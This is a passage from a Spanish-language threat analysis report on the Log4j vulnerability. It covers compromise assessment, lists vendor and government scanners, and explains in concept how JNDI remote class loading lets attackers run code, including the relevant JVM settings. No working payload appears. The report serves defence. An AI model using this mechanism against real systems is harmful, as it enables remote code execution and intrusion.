identificación y el parche fueron rápidos, pero si el parche fue lento, condujo a la siguiente
pregunta.
 Contribuciones de expertos

▶ ¿Tal vez la penetración interna se llevó a cabo con este Log4j vulnerable?

A medida que el entorno de seguridad de la organización se vuelve más complejo, es casi

imposible lograr el propósito de un ataque con una sola vulnerabilidad. Lleva a cabo el
reconocimiento interno en secreto para no ser identificado después de la penetración y
propaga el ataque en secreto hasta que logra su propósito mientras utiliza el movimiento
interno, la mejora de los permisos y las técnicas de evasión a la defensa continuamente. Este
proceso puede llevar desde unos pocos días hasta años si la seguridad está bien controlada.

En consecuencia, incluso si la vulnerabilidad Log4j ha sido expuesta durante mucho tiempo

y explotada por un atacante, es muy probable que el ataque aún se encuentre en etapa de
propagación interna para lograr su propósito, siempre y cuando el entorno de control de
seguridad esté bien establecido. Por lo tanto, debemos tomar medidas para identificar estas
amenazas, de modo que podamos responder a la pregunta anterior de si se está llevando a
cabo o no una penetración interna y el ataque se está extendiendo.
La mejor manera de encontrar la respuesta es llevar a cabo la EC. La EC es una actividad
objetiva para encontrar atacantes que existen actualmente, o que estuvieron activos en el
pasado dentro de una organización, y una tarea de revisión técnica realizada cuando se
determina que hay un acto malicioso. Al realizar la EC, es posible verificar no solo si se están
aprovechando de las vulnerabilidades específicas, como Log4j, sino también si otros
incidentes de violación están en curso dentro de la organización.

A medida que el entorno de seguridad de las organizaciones se vuelve más complejo, la

mayoría de los ataques están cambiando a ataques dirigidos. Los ataques dirigidos deben
tener éxito en múltiples etapas para lograr sus objetivos. Al principio, se mueven de manera
muy elaborada y secreta, porque no entienden por completo el entorno de la organización,
pero desde el momento en que están convencidos de que están seguros, incluso los
atacantes de alta calidad se mueven despreocupadamente. En el proceso, se detectan varios
eventos de amenazas a la seguridad y, a menudo, las amenazas simplemente se eliminan,
centrándose en la normalización de las operaciones. Tales amenazas de eliminación simple
pueden no ser visibles de inmediato. Sin embargo, el atacante que nota la detección se
esconde de manera más efectiva. Por lo tanto, todas las amenazas que surgen de una
organización deben evaluarse y se debe decidir si simplemente se eliminan o si se procede
con la EC, de acuerdo con los resultados de la evaluación.

La siguiente figura explica por qué no encontramos a los atacantes, a pesar de tener varios
entornos de control de seguridad. Los servicios basados en diagnósticos se centran en
reducir la detección falsa, mientras que los servicios de caza agresiva se centran en reducir la
no detección. Esto da lugar a áreas no identificadas, que deben complementarse con nuevos
servicios, porque los ya existentes no realizan sus funciones originales en estas áreas cuando
se amplía su alcance. La EC puede ser una de las opciones de suplementación.
Informe de análisis de amenazas de vulnerabilidades de Log4j

Al igual que la piratería simulada, la EC también necesita el punto de vista de un extraño.

Para las amenazas de perspectiva operativa, es recomendable realizar la EC internamente,
pero para otras amenazas cibernéticas, las organizaciones profesionales externas a menudo
tienen una visión más amplia.

Si tiene suficientes recursos, sería muy útil realizar la EC regularmente a través de una
organización profesional fiable y mejorar la visibilidad de las redes y los puntos de acceso en
su organización en función de los resultados.
 Apéndice

Sitio de distribución de escáner de vulnerabilidad

Apéndice. 1
de Log4j

● Escáner de distribución de East Security

- https://blog.alyac.co.kr/4357

● Escáner de distribución SK Shielders

- https://infosec.adtcaps.co.kr/newsRoom/eventNotice/noticeView.do?boardSeq=1393

● Escáner de distribución Logpresso

- https://github.com/logpresso/CVE-2021-44228-Scanner

● Escáner proporcionado por Trend Micro

- https://log4j-tester.trendmicro.com

● Escáner de distribución de Crowdstrike

- https://github.com/CrowdStrike/CAST

● Escáner de distribución FullHunt (empresa de seguridad)

- https://github.com/fullhunt/log4j-scan

● Escáner de distribución Arctic Wolf (empresa de seguridad)

- https://github.com/rtkwlf/wolf-tools/tree/main/log4shell

● Escáner de distribución CISA de EE. UU.

- https://github.com/cisagov/log4j-scanner

● Escáner de distribución del Laboratorio de Ingeniería de Software de la Universidad Carnegie

Mellon
- https://github.com/CERTCC/CVE-2021-44228_scanner
Informe de análisis de amenazas de vulnerabilidades de Log4j

Apéndice. 2 ¿Qué es JNDI (interfaz de nombres y directorios de Java)?

◆ JNDI es una interfaz basada en Java para proporcionar una interfaz común que interactúe con
diferentes servicios de nomenclatura y directorio como RMI, LDAP, Active Directory, DNS,
CORBA, etc. La definición de servicio de nomenclatura y servicio de directorio es la siguiente.
- Servicio de nomenclatura: una entidad que consta de nombres y valores, también llamada
«Enlaces a datos», que proporciona una función para encontrar objetos basados en
nombres mediante las operaciones «Buscar» (Search) o «Búsqueda» (Lookup).
- Servicio de directorio: un tipo especial de servicio de nomenclatura que puede almacenar y
buscar objetos de directorio. Los objetos de directorio difieren de los objetos ordinarios en
que pueden vincular propiedades a objetos y, por lo tanto, el servicio de directorio propor-
ciona extensiones para operar en las propiedades del objeto.

◆ JNDI utiliza la serialización de Java para enlazar objetos Java a servicios o directorios de
nomenclatura y los almacena en bytes. Referencia (Reference) se utiliza para administrar
objetos almacenándolos indirectamente en servicios de nomenclatura o directorio, en caso de
que el estado serializado del objeto sea demasiado grande. La referencia es decodificada por
el NamingManager y consiste en la dirección y la información de clase del objeto para hacer
referencia al objeto original y se puede utilizar de la siguiente manera.

◆ La clase referencia puede configurar objetos usando Factory, que es un método de ataque en
el que los atacantes están interesados, porque también puede referirse a clases de factory que
existen fuera. Este método de ataque también se presentó en Black Hat USA en 2016.
 Apéndice

◆ Además, la carga de la clase remota JNDI se comporta de manera diferente según el nivel en
que se ejecute. Se divide en ejecutarse en el nivel de NamingManager y ejecutarse en el nivel
SPI (interfaz de proveedor de servicios).

[Figura] Estructura de JNDI (fuente: Documento técnico de Black Hat, EE. UU. 2016)

◆ Para la SPI, el gestor de seguridad se puede aplicar de acuerdo con un proveedor específico al
ejecutar una clase remota.
Propiedades que permiten la ejecución remota Si se aplica el gestor
Proveedor
de clases de seguridad
java.rmi.server.useCodebaseOnly = false
RMI Siempre
(El valor predeterminado después de JDK 7u21 es «true»)
com.sun.jndi.ldap.object.trustURLCodebase = true
LDAP (Valor predeterminado después de JDK 6u211, 7u201, 8u191, No aplica
11.0.1 = false)
CORBA Siempre

◆ Por otro lado, para los NamingManager, siempre es posible cargar clases que existen remota-
mente al decodificar la referencia de nombres JNDI, no hay ninguna opción JVM para
deshabilitarlo y no se aplica el gestor de seguridad instalado. Los atacantes pueden ejecutar
su propio código de forma remota utilizando estas características.
Informe de análisis de amenazas de vulnerabilidades de Log4j

Sitios de referencia para responder a

Apéndice. 3
vulnerabilidades
 Apéndice

Apéndice. 4 Software vulnerable relacionado con Log4Shell

● Puede verificar el software vulnerable relacionado con log4shell en el siguiente sitio.

Omitido